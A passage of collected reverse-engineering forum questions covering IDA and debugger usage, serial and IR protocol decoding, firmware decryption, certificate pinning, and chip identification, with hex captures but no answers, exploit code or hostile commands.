Fan speed = 2, byte 7 = 0x4C
Fan speed = 3, byte 7 = 0x4A
Fan speed = 4, byte 7 = 0x4E
Fan speed have wave symbol, byte 7 = 0x44
Fan speed auto, byte 7 = 0x45

Byte 8 alway 0x00
Byte 9 for swing value.
Byte 10 alway 0x01
Byte 11 unclear
byte 12 alway 0x07
byte 13 must be CRC value, but can not calcuate now.

Please help me.


问:
IDA Pro macOS kernel debugging and lldb support
I'm trying to revers some kexts on macOS and I can't find a way to achieve the same level of debugging you can do on Windows kernel with IDA and WinDBG. Is there a way to add support for lldb? Or can it be done without lldb?

I've tried the VMWare gdb stub, but IDA can't map the memory right.


问:
How to bypass certificate pinning on OS X and Windows
When reverse engineering a thick application it can be very useful to be able to see the network traffic it generates.

Because of this, many applications use HTTPS to communicate with their servers. Bypassing this has become easy to do with tools like Charles (SSL Proxy).

As a result, some applications use Certificate Pinning which does not allow a proxy to intercept traffic.

What are some solutions around this problem, ideally, I'm looking for a methodology, tools and techniques to do this in both Windows and OS X applications.


问:
Decode RubyEncoder
I was trying out some things when I came across some RubyEncoder encoded code.
After searching the web, I found basically nothing useful on how to reverse them (Except this and [this][2], but I had no success until now).
Is there any way to do it? If yes, how?</p>

Title: Decode RubyEncoder


问:
Arm hex firmware reverse
it has been a couple of months that I'm working on the firmware produced by a company that makes (not licensed) gamepad console adapters.
One of my goal was to understand how they bypassed (hacked) the SHA authorization process involved in the new consoles licensed game-pad communication.

Note: I found a very interested response from SYS_V user:
Approach to extract useful information from binary file
that helped me a lot, but I still struggling with the reverse.

Here the facts:

By looking at one of their circuit board and by doing some reverse engineering on their software update programs, I'm 95% sure that the uC is a Nuvoton M452RG6AE/M452RE6A (ARM-Cortex M4). Here the datasheet.

The company stores the firmware on a public ftp.
Some of them are encrypted (with a non canonical algorithm).
The no encrypted firmware are the ones included in the P2_P3P4, P2_X1, P3P4_NEO folders.

Some firmware have the LD and AP words as part of their filename. This made me wonder that, probably, they include the bootloader.

I'm stuck here.

My other goal is to find the way to reverse the encryption algorithm and make the firmware "readable".

A guy on github published the firmware upgrade process with a mac.
By looking at these files and reversing the update program, it seems that the update program client send the firmware to the uC encrypted.
The bootloader writes the payload on a external i2C memory.
Once the firmware upload is completed, the bootloader calculates the checksum and it sends to the update program client for cross checking.
If the checksum is valid, the update program client send the "0xa6(statusA CMD)" to the bootloader that will read the firmware from i2C memory, decrypt and write on the APROM section.

It is possible to reverse the not encrypted firwmares with IDA (I'm not familiar with radare), by setting the CPU to ARM-v7M. Some parts are decompiled well, some other are detected as unk by IDA and I don't know if there are data or code parts.

Someone wants to help me out or suggest me something that may help me for proceeding with the reversing?

Update:

For the point #1 and #4, in my question, I was referring to this file  V21_LD_AP(md5sum: 5e19b55bb46bb642faebcb19478cec92) and this file V21_AP (md5sum: 344facf48a617364d74ad17351678deb) (this version file doesn't contain the LD word in the filename).

My goal is trying to decrypt this file.

I'm pretty sure that they use the same encryption algorithm for every firmware.
However, some firmware are released in both ways: encrypted and decrypted.
An example is possible to find under the P2_X1 folder (see the firmware V16 versions).

Title: Arm hex firmware reverse


问:
How do I hook API to get realtime stock price data?
How I can hook SSL API from proprietary software.

I want to extract realtime stock price data from stock trade software that provided by securities company.

There is no API in this software. And This software is not open source.

This software worked on my pc.

I have tried inspect connection with wireshark, but it is encrypted. I know that connection between client software and server is encrypted.

So I need decrypt SSL connection.
I suppose that it need hook SSL API But I don't know how to do it.

How I can do it?

My Environment:
Windows 10 Home 1709


Title: serial protocol patterns

Body:
I am reversing a serial 232 protocol and I found these pattern in the data.

```<code>E5 A7 CD 01 00
79 .. .. 40
00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
</code>```

follows some recording and expected approx results

```<code>A=~-10 B=0 C=0 D=~-85.9
E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A 40 0F 24 50 05 9B B1 94 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
8F E5 A7 CD 01 00 79 31 0A 79 35 0A 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
2B E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A 40 0F 24 50 05 9B D8 A4 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
C6 E5 A7 CD 01 00 79 31 0A 5B 00 00 79 35 0A 79 36 0A 40 0F 24 50 05 9C 01 CC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
18 E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A
B4 E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A 40 0F 24 50 05 9C 28 DC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
4F E5 A7 CD 01 00 79 31 0A 79 35 0A 79 36 0A
79 36 4A 40 0F 24 50 05 9C 4F EC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 4E 40 0F 24 50 05 9C 63 74 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0E 40 0F 24 50 05 9C 76 FC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0E 40 0F 24 50 05 9C 8A 84 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0E 40 0F 24 50 05 9C B1 94 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
30 E5 A7 CD 01 00 79 31 0E 40 0F 24 50 05 9C D7 DC FF 9C 00 79 36 0E 40 0F 24 50 05 9C D8 A4 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
CB E5 A7 CD 01 00 79 31 0E 40 0F 24 50 05 9D 01 FF 9C 00 07 00 01 00 90 02 35 00 00 79 36 0E 40 0F 24 50 05 9D 01 CC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0E 40 0F 24 50 05 9D 28 DC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9D 4F EC 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9D 63 74 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9D 8A 20 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9D 9E 0C 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9D B1 30 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
72 E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9D C3 F0 02 4C
79 36 0F 40 4F 24 50 05 9D C4 B8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21 05 0A
82 79 36 0F 40 4F 24 50 05 9D D8 40 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
A9 E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E 00 A0 05 05 14 00 F6 00 64 00 5A 00 00 79 35 0F 40 4F 05 00 63 88 0F A0 0F A0 0F A0 00 00 00 00 00 00 24 50 05   9E 01
FB E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E 14 28 06 DC 05 94 01 0E 00 5B 00 1E 00 00 79 35 0F 40 4F 06 DC 00 63 88 0F A0 0F A0 0F A0 00 00 00 00 00 00 24   50 05 9E 14 8C 07 0A 79 36 0F 40 4F 24 50 05 9E 14 F0 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9E 28 78 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
32 E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E 3B 38 07 68 05 60 01
CE E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E 4E C0 05 5F 79 36 0F 40 4F 24 50 05 9E 4F 88 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
99 45 00 CE 00 34 FF FE 00 00 07 79 36 0F 40 4F 24 50 05 9E 63 10 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9E 76 98 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
4B 00 9F 00 24 00 02 00 00 79 36 0F 40 4F 24 50 05 9E 8A 20 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9E 9D A8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
D7 E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E B0 68 00 6E 02 9D 00 7E 00 1B 00 79 36 0F 40 4F 24 50 05 9E B1 30 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21

A=~3 B=~573 C=~11 =~-1.5

79 36 0F 40 4F 24 50 05 9E C4 B8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21 05 0E E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9E D7 78 00 02 45 00 6E 00 1B   00 00 00 00 79 36 0F 40 4F 24 50 05 9E D8 40 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 35 0F 40 4F 00 0B 00 13 88 0F A0 0F A0 0F A0 00 00 00 00 00 00 24 50 05 9F 01
79 36 0F 40 4F 24 50 05 9F 14 F0 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9F 28 78 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9F 4F 88 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
6A E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 9F 62 48 02 48 79 36 0F 40 4F 24 50 05 9F 63 10 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
EB 79 36 2F 40 4F 24 50 05 9F 76 98 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
C1 E5 A7 CD 01 00 79 31 2F 40 4F 24 50 05 9F 89 58 05 FA 05 5D 01 79 36 2F 40 4F 24 50 05 9F 8A 20 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21

A=~290 B=~1506 C=~28 D=~-1.6

79 36 0F 40 4F 24 50 05 9F 9D A8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9F B1 30 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 9F D8 40 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
AB E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 A0 00 A0 0A 79 35 0F 40 4F 0A
79 36 0F 40 4F 24 50 05 A0 14 F0 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 A0 28 78 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
D0 E5 A7 CD 01 00 79 31 2F 40 4F 24 50 05 A0 4E C0 B3 79 35 2F 40 4F 79 36 2F 40 4F 24 50 05 A0 4F 88 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
46 46 00 63 88 0F A0 0F A0 0F A0 00 00 00 00 00 00 24 50 05 A0 62 AC 07 79 36 2F 40 4F 24 50 05 A0 63 10 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 A0 76 98 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
3F 00 9D 00 23 00 02 00 00 79 36 0F 40 4F 24 50 05 A0 8A 20 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
00 79 36 0F 40 4F 24 50 05 A0 9D A8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
79 36 0F 40 4F 24 50 05 A0 B1 30 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21
</code>```

Any advice to understand how data is structured?


问:
How accurate is Cerberus for reverse engineering malware?
AccessData's Cerberus product claims to be :

The first step towards automated reverse engineering, Cerberus allows
  you to determine the behavior and intent of suspect binaries, giving
  you actionable intelligence without having to wait for a malware team
  to perform deeper, more time consuming analysis.

While this may be great for getting basic information about how various malware are functioning, I'm also curious about how much information this tool misses or inaccurately reports.

Does anyone have experience with Cerberus?

How accurate was this tool when reporting ?

Did this tool miss any specific information or patterns ?


问:
Process Memory Viewing Tool
I'm trying to remember a couple of tools that I used several years ago that allowed you to create structs and map certain regions of memory to those structures so you could view the correct data types that you had defined for the structure. You could also go through and set sections of the memory to datatypes as well.

If anyone remembers what those are or know of anything new that matches that description that would be awesome. Thanks! PS this was for Windows at the time.

Title: Process Memory Viewing Tool


问:
How do I resolve addresses relative to a register in IDA?
I am reversing an x86 ELF shared object library. Perhaps because of position independence, all functions begin with loading a constant offset into a register:

```<code>[... function prologue ...]
call    $+5
pop     eax             ; eax = eip = 0x4E2B
add     eax, 1009Dh     ; eax = 0x14EC8 = start of .got.plt section
mov     byte ptr [eax+194h], 0ACh
mov     dword ptr [eax+190h], 968CC5DEh
[...]
</code>```

The first two instructions set eax to the current instruction's address. Then a constant offset is added, this offset is probably calculated during linking.
From there on, all addresses are referenced relative eax (in this case, they point into the .bss segment).

I can manually calculate all addresses since the value of eax is fixed. Is there an automated way to resolve these fixed-register-offsets in IDA, such that IDA can properly resolve X-refs, etc?


问:
running iOS debugserver on non-jailbroken devices
There are multiple tutorials on how to debug applications on jailbroken devices. These usually involves resigning debugserver, scp and running it from ssh with few tweaks to the entitlements and signature.

Is there a way to the do the same thing on non-jailbroken devices ?


问:
Ruby on Rails Code Analysis
I have 'inherited' a fairly large Ruby on Rails repository that was developed for a web application and am trying to make heads or tails of it.  I am specifically looking at this from the perspective of trying to analyze and understand the code under the assumptions of:
1) I'm not really a coder  per se, but can follow VERY limited aspects of html/erb/haml,  css/sass,  js/coffeescript/angularjs, ruby, sql upon which I believe the app is based.
2) I have/had access to the user interface and was able to work with the application for some time, so understand its intent.

So, my questions is/are really more a procedural inquiry. I suspect many people who are trying to learn ROR would benefit from this type of understanding, (sort of a top-down approach to gain perspective).

How would one best try to absorb a given ROR application?
What would you consider to be the first things at which to look and absorb, followed by secondary and so on...
And more specifically,  hows does one determine which code is associated with which gem? (this particular app has 150-200 gems in the gemfile).

Title: Ruby on Rails Code Analysis


问:
loading memory dump into ida pro?
I'm looking for a good method to load custom memory dumps (of usermode processes under Windows) into IDA Pro. These memory dumps may be partial or complete - in terms of other DLLs, such as kernel32, being present.

In the past I've attempted writing a Python script (like an *.idc) that'd create an arbitrary amount of segments and fill those with the desired data, but this didn't prove to be a very good technique. Mostly because, in order to run a "Script file", another file needs to be loaded & analyzed by IDA Pro already.

More concretely: I'm looking to build an IDA Pro loader that will load my custom format with the according segments. Architecture should (naturally) be either x86 or x64. Some things will not work as they'd otherwise (e.g., the PE structure may be missing or corrupted). I also don't mind if I have to MakeCode() a number of addresses manually, just loading would be a great start.

Any thoughts / people that have built this before / etc? Thanks.

Title: loading memory dump into ida pro?


问:
Identifying unknown chip - markings erased
There seems to be a (relatively) easy way to remove the markings on a chip via laser. When reverse engineering a device with such a chip, what would be some methods of identifying it.

It seems that package type and number of pins can help, are there any other methods that can be used?

Is it possible to image the chip in some way that would reveal what was erased?


问:
IDAPython Decompile - connect assembly to pseudo-code line
I'm trying to write a small application that can show for each
line of the de-compiled psuedo code of a certain function
the assembly instruction that responsible for it.

for example if we have a function invocation in the pseudo code - i want to show all the push to stack instructions + the call instruction:

```<code>sample_function(a,b)

//will be mapped to:

push b
push a
call sample_function
</code>```

I've tried to scan the objects that are returned by the decompile method and gone through some examples: vds1, vds4, ... Haven't found a solution.

Is this mapping is saved somewhere? In IDA i can access the other direction when it shows in the assembly the pseudo code as comments.

Thanks!


问:
View static field values in dnSpy
I'm using dnSpy (version: 4.5.3) to debug a .NET binary. I can successfully view the values of Local variables in the Locals window but I cannot view the values of static fields.

However, per this github discussion: https://github.com/0xd4d/dnSpy/issues/334 for dnSpy, this feature was already added in version 4.0

Please refer the image below. The locals windows doesn't show the value of Static Fields.

Is there a way to view them? How can I use the C# Interactive feature of dnSpy to view these values?

Thanks.

Title: View static field values in dnSpy


问:
CD-ROM CIRC encoder
I'm studying the principles of data storage CD-ROM
At the moment I understand structures of sectors, F1 frames, F3 frames, subcode channels.
But I just can not understand the principle of forming F2 frames.

http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-130.pdf

http://moais.imag.fr/membres/jean-louis.roch/perso_html/COURS/CSCI-506b-TRAIT-ERREURS/documents/IEC908.pdf

Wherever I look I do not see the implementation of this algorithm I see only a picture with a description of how. But I can not understand it.
1. What is a delay line? Is it FIFO by the required number of bytes?
2. The output data judging by the picture will appear unevenly, I correctly understand that until the first 108 frames are output, instead of some bytes, there will be garbage?
3. Can someone do or saw the implementation of this algorithm?

Title: CD-ROM CIRC encoder


问:
How would I begin REing this proprietary model format?
Disclaimer: This is both my first post, and my first time approaching reverse engineering.

Overview: Need for Speed 5 is a classic (1990 era) racing game that was extremely unique in that it featured only Porsche, and the developers even worked with Porsch AG to make it as simulated as possible for the time period.
Here we are 18 years later, and the track format has not been completely REd.
I have taken the time to dig over the past 3 years to no avail. I can't find info on the car model format, which might lend a hand in reverse engineering the track model format.

What I HAVE managed to do was get the track models "decompressed", which yields some clear details, but beyond this I wouldn't have any clue how to proceed. The reason I have quotes is that being the format was never fully figured out, it very well could be useless in this manor.

I am hoping someone who has the skill and knowledge would be willing to aid me in getting this format figured out, so at minimal the models could be extracted, and ideally editable. The minimal goal is due to the fact I make video games, so it would be easier for me to make a modernized application sporting these resources, rather than a simple track editor, though there is a community that still plays this game and would be extremely excited if the format was figured out to where we could import other tracks into the game for a fresh take.

For now, I will share 7 files to serve as examples.
In the track folder:
the .crp files are the native tracks in their original form.
the .drp are the supposedly decompressed versions, and clearly have noteworthy information, such as UV, and texture references.
I have also included a car model that has both the crp and drp versions as a possible guide, as that format has long been figured out, but lost to time.
I can easily extract textures from the game, and teach track has additional data that I can provide upon request.
The last file is the de/compression tool.

This game is now considered Abandonware, and can easily be obtained for those curious. Unfortunately with each windows update, it gets harder and harder to run this game, the graphics are extremely dated, ripping tools like ninjaripper cannot rip anything other than 2D planes, so that route isn't possible, and I neither have a free camera mode for top down pics to serve as a template for modeling, nor experience to model it freehand (better yet, at all).

ANY help would be appreciated, as there are people in the community who can code the necessary tools to manipulate it once it is figured out. Having this knowledge might even arm me to make an exporter for the older Need for Speed 4 track files, which would be the main game we would want to import tracks from.

Files: https://www.dropbox.com/s/x46qm58do6phdda/nfs5.zip?dl=0


问:
What is a TROC Filesystem, and how do I mount it?
I decompiled a piece of firmware using binwalk and found an entry for a TROC Filesystem:

```<code> DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
 1064340       0x103D94        Copyright string: "Copyright 2006 Techsonic Industries, Inc. - All Rights Reserved"
 1084664       0x108CF8        Copyright string: "Copyright 2007 Techsonic Industries, Inc. - All Rights Reserved"
 1211854       0x127DCE        TROC filesystem, 256 file entries
 1671429       0x198105        eCos RTOS string reference: "ecosonda"
 1735998       0x1A7D3E        eCos RTOS string reference: "ecoscandaglio"
</code>```

While I have seen a number of blogs that got a similar output, none of them seem to actually identify what TROC stands for, or how to mount it.  Any ideas?


问:
Microcontroller memory dump
I have a board which has STM32F103RE microcontroller. Its datasheet can be found here.

Since I have found in the internet only firmware that seems to be encrypted/compressed, I'm trying to figure out how to dump it from the flash (using logic analyzer or Bus Pirate, etc.).

Can someone please help me out with this challenge?
Elaborated answer will be appreciated.

Thanks in advance!

Title: Microcontroller memory dump


问:
Hauppauge HVR-950Q - Linux - Signal Processing for extra data like subtitles
I have a Hauppauge HVR-950Q running on a stripped down debian. I am trying to use the Hauppauge HVR-950Q from the command line to parse subtitles and build a library of accurate subtitles. I am not sure how to start on this one being that I want to do all this programmatically in the background. Some information can be found at linuxtv.org HVR-950Q but I do not see any types of API nor can I find documentation so far. </p>

<p>How would I probe this or any other device in such a way that I would start "finding" things I need? </p>


问:
How to update reversed code of an updated application?
A few months ago I started to reverse engineer an Android app, and i have pretty much progress in it, but it's updated weekly. How should i go about updating the reversed code?

I searched for ways to record and replay the refactorings, but I've found nothing about it, and I also realized it's not a good way if i use deobfuscation in jadx (just to make some class names valid, because a lot of them would start with numbers..), because the new names of methods and classes are based on counting them.

The main goal is not to have code which I can use to rebuild the app, I only need it to understand the inner workings of it and to know where and how to hook with Xposed. The goal now is to update my project with the changes of the new version.

I'm currently using Android Studio for reversing android apps, and jadx 0.7.1 to decompile them.


问:
idapython：How can I get xref to a stack variable in the form of pseudocode
I have learned about how to get xref to a stack variable,but it is in the form of
assembly:idapython - Get Xrefs to a stack variable

This way works well on a variable like [ebp+var_0] but do not support the registers.Some times if  a segment error occurs on an instruction like "mov eax,[esi]", I have to know where the value of "esi" comes from,so I need to make sure I can get xref to a register.

It also means I have to do more work about analysis even if ida has provided.
I think the xref in the form of pseudocode is more clear and convenient, just like what i am used to look up in ida:

ida define the stack data and registers to variables like "v1" or "v13",and then I can get xref by press 'X'.
I have searched for some time,including the examples in github.There are some ways to get xref to the global variables but not the stack variables.So if there exist any API about this?